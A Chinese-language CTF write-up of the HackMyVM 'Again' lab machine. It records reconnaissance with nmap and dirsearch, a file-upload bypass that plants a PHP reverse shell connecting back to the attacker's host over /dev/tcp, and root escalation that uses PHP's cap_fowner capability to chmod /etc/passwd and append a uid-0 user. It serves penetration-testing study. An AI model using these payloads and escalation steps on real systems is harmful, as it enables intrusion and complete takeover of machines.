HackMyVM-Again靶机的测试报告

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、信息搜集

2、Getshell

3、提权

四、结论


一、测试环境

1、系统环境

渗透机:kali2021.1(192.168.101.127)

靶 机:Linux(192.168.101.204)

物理机:win11(192.168.101.241)

注意事项:

①该类型靶场只能在virtualBox上搭建,因此将靶机设置为桥接网络,方便进行渗透。攻击机kali也要桥接出来,不然会出问题。

②靶机启动失败:设置中取消勾选usb即可

2、使用工具/软件

Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、dirsearch(目录扫描)、nc(监听shell)、openssl(生成密码)

物理机:Burp suite(抓包分析)
靶场介绍:由国外大佬搭建的靶场,类似于vulnhub,经常更新,需要翻墙才能进。

++地址:https://hackmyvm.eu/machines/machine.php?vm=Again++

测试网址:http://192.168.101.204

二、测试目的

分析文件上传的源代码并绕过限制上传webshell,使用php Capabilities提权获得root权限。

三、操作过程

1、信息搜集

主机探测

bash 复制代码
arp-scan -l

靶机IP:192.168.101.204

物理机IP:192.168.101.241

端口和服务探测

bash 复制代码
nmap -sT -A -p- -T4 192.168.101.204

可以看到靶机开启了22端口(ssh服务)、80端口(web服务)

目录扫描

bash 复制代码
dirsearch -u http://192.168.101.204 -i 200,301 --exclude-sizes=0B

只扫到一个页面,upload

2、Getshell

访问web主页是一个上传文件的页面,upload.php是上传的文件显示的页面

查看主页面的源代码发现,提示.bck文件删除,那就是没删喽

访问upload.bck成功下载文件

该文件是upload.php的备份源代码,那么现在可以做白盒测试了

可以看到,设置了黑名单符号,有黑名单符号会直接退出代码,这样上传的文件就不会移走了

此外,源代码设置的白名单jpg和txt,只检查了jpg文件,其他文件都算作txt文件上传了,并执行cat命令查看

尝试在cat命令后面进行拼接代码执行,但由于黑名单限制过多,是失败的

利用代码检测到黑名单符号就退出代码的特性,而文件不会删除,会保留

利用这一特性写入反弹shell文件;1.php

数据包如下

POST /upload.php HTTP/1.1

Host: 192.168.101.204

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Content-Type: multipart/form-data; boundary=---------------------------42491598439165519721451805444

Content-Length: 300

Origin: http://192.168.101.204

Connection: keep-alive

Referer: http://192.168.101.204/

Upgrade-Insecure-Requests: 1

Priority: u=0, i

-----------------------------42491598439165519721451805444

Content-Disposition: form-data; name="myFile"; filename=";1.php"

Content-Type: image/jpeg

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.101.127/6666 0>&1'"); ?>

-----------------------------42491598439165519721451805444---

可以访问该文件,此时kali开启监听即可监听到反弹shell

成功获取反弹shell

3、提权

当前目录有一个id_rsa.bck文件,但没什么用

尝试寻找可利用文件

bash 复制代码
find / -perm -4000 -ls 2>/dev/null
find / -perm -2000 -ls 2>/dev/null
getcap -r / 2>/dev/null

getcap命令可以查找文件的能力信息。

Linux 中的"能力"是一种对进程授权的机制,它允许程序在不拥有完整 root 权限的情况下执行某些特权操作。

某些程序可能被赋予了cap_fowner(修改文件所有权)或cap_net_raw(允许直接访问网络协议栈)等能力,这样它们就可以执行本来只有 root 用户才能执行的操作

可以看到php7.4可以修改文件所有权,可以利用

那么就用php来修改文件的权限,先修改user.txt的权限并查看

bash 复制代码
ls -la /home
ls -la /home/kerszi
php -r 'chmod("/home/kerszi/user.txt",0777);'

查看user.txt文件内容,得到第一个flag:

nowtheeasypart

bash 复制代码
cat /home/kerszi/user.txt

同理可以修改/root目录的权限,r00t.txt文件的权限,查看root用户的flag:

andagainandagainandagain

bash 复制代码
php -r 'chmod("/root",0777);'
ls -la /root
php -r 'chmod("/root/r00t.txt",0777);'
cat /root/r00t.txt

提权root用户也很简单,修改/etc/passwd文件的权限并给写入一个uid为0的用户即可

bash 复制代码
php -r 'chmod("/etc/passwd",0777);'

先修改权限

bash 复制代码
openssl passwd -1 root

再生成密码的加密字符串

构造新用户zz,uid为0,写入/etc/passwd

bash 复制代码
echo 'zz:$1$8YXciopU$8Z/z.3wtGbL7YHfCAy.e11:0:0:root:/root:/bin/bash' >> /etc/passwd
su zz

成功写入用户,并提权root

bash 复制代码
SHELL=/bin/bash script -q 2>/dev/null

四、结论

利用文件上传逻辑的漏洞getshell,利用Capabilities提权获取root权限。Linux中可以设置能力setcap,可以让某个文件以更高权限执行。

相关推荐
H轨迹H1 小时前
DVWA靶场JavaScript Attacks漏洞low(低),medium(中等),high(高),impossible(不可能的)所有级别通关教程
javascript·网络安全·渗透测试·dvwa·web漏洞
黑客KKKing13 小时前
网络安全:信息安全
网络·安全·web安全·网络安全
轨迹H19 小时前
DVWA靶场Insecure CAPTCHA(不安全验证)漏洞所有级别通关教程及源码审计
网络安全·渗透测试·dvwa·web漏洞
IT 古月方源20 小时前
DOS攻击的原理和实现 (网络安全)hping3和Slowloris的运用
运维·网络·tcp/ip·安全·网络安全·智能路由器
风间琉璃""21 小时前
PWN的知识之栈溢出
数据结构·算法·网络安全·pwn·二进制安全·栈溢出
Autumn.h1 天前
常见的框架漏洞
web安全·网络安全
未完结的牵挂1 天前
pikachu - 暴力破解
网络安全·工具推荐
underatted1 天前
oscp备考 oscp系列——Kioptix Level 1靶场 古老的 Apache Vuln
网络·安全·web安全·网络安全
Clockwiseee1 天前
文件上传题目练习
android·服务器·安全·网络安全
Clockwiseee1 天前
文件上传漏洞利用与绕过姿势总结
linux·windows·安全·web安全·网络安全·php